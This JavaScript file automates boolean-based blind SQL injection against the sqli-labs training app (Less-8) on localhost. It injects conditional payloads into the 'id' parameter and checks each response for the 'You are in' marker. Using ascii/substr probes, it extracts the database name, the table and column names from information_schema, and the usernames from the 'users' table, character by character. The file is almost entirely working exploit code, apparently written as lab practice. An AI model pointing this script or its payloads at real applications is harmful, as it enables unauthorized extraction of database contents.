
const flag = "You are in..........."
const range = (start, end) => Array(end - start + 1).fill().map((_, idx) => start + idx)

const charset = range(0, 9).concat(range(97, 122))
const numset = range(1, 20)

let cond = () => ""
let lim=0,i=0,c=0
let len = 1
let lens = []
let amount = 0
let db_name = ""

const get_url = () => `http://localhost:8080/sqli-labs/Less-8/?id=1%27and%20if(${cond()},1,0)%23`



// 01. get_length()

const get_length = async () => {

    let l = 0

    for (i of numset) {
        const url = get_url()
        // status 0 表示正常退出
        const res = await fetch(url, {
            method: "GET"
        }).then(res => res.text())
        if (res.search(flag) != -1) {
            l = i;
            break;
        }
    }
    return l
}

// 设置好 url，a：cond 自动获取
const get_lengths = async () => {
    // read amount
    let l
    lens = []
    for (lim of range(0, amount - 1)) {
        lens.push(await get_length())
    }
    return lens
}

const get_name = async (len) => {
    let name = ""

    for (i of range(1, len)) {
        for (c of charset) {
            const url = get_url()
            // status 0 表示正常退出
            const res = await fetch(url, {
                method: "GET"
            }).then(res => res.text())

            if (res.search(flag) != -1) {
                name = name + String.fromCharCode(c)
                break
            }
        }
    }
    return name
}

const lens_2_names = async () => {
    const names = []
    for (lim of range(1, amount)) {
        len = lens[--lim]
        names.push(await get_name(len))
    }

    return names
}

// 1 db

// 1.1 db length
cond = () => `length(database())=${i}`
len = await get_length();
console.log(`db length: ${len}`)

// 1.2 db name
cond = () => `ascii(substr(database(),${i},1))=${c}`
db_name = await get_name(len);
console.log(`db_name is: ` , db_name)

// 2 table

// 2.1 amount
cond = () => `(select count(*)table_name from information_schema.tables where table_schema='security')=${i}`
amount = await get_length()
console.log("amount", amount)

// 2.2 lengths
cond = () => `(select length(table_name) from information_schema.tables where table_schema='security' limit ${lim},1)=${i}`
lens = await get_lengths()
console.log(`lens: ${lens}`)

// 2.3 names
cond = () => `ascii(substr((select table_name from information_schema.tables where table_schema='security' limit ${lim},1),${i},1))=${c}`
const tb_names = await lens_2_names();
console.log(`tables: ${tb_names}`)

// 3 colmns

cond = () => `(select count(*)column_name from information_schema.columns where table_schema='security'and table_name='users')=${i}`
amount = await get_length()
console.log("amount: $", amount)

cond = () => `(select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit ${lim},1)=${i}`
lens = await get_lengths()
console.log("lens ", lens)

cond = () => `ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit ${lim},1),${i},1))=${c}`
const col_names = await lens_2_names()
console.log("col_names: ", col_names)

// 4. data

cond = () => `(select count(username) from users)=${i}`
amount = await get_length()
console.log("amount: ", amount)

cond = () => `(select length(username) from users limit ${lim},1)=${i}`
lens = await get_lengths()
console.log("lens: ", lens)

cond = () => `ascii(substr((select username from users limit ${lim},1),${i},1))=${c}`
const datas = await lens_2_names()
console.log("datas: ", datas)

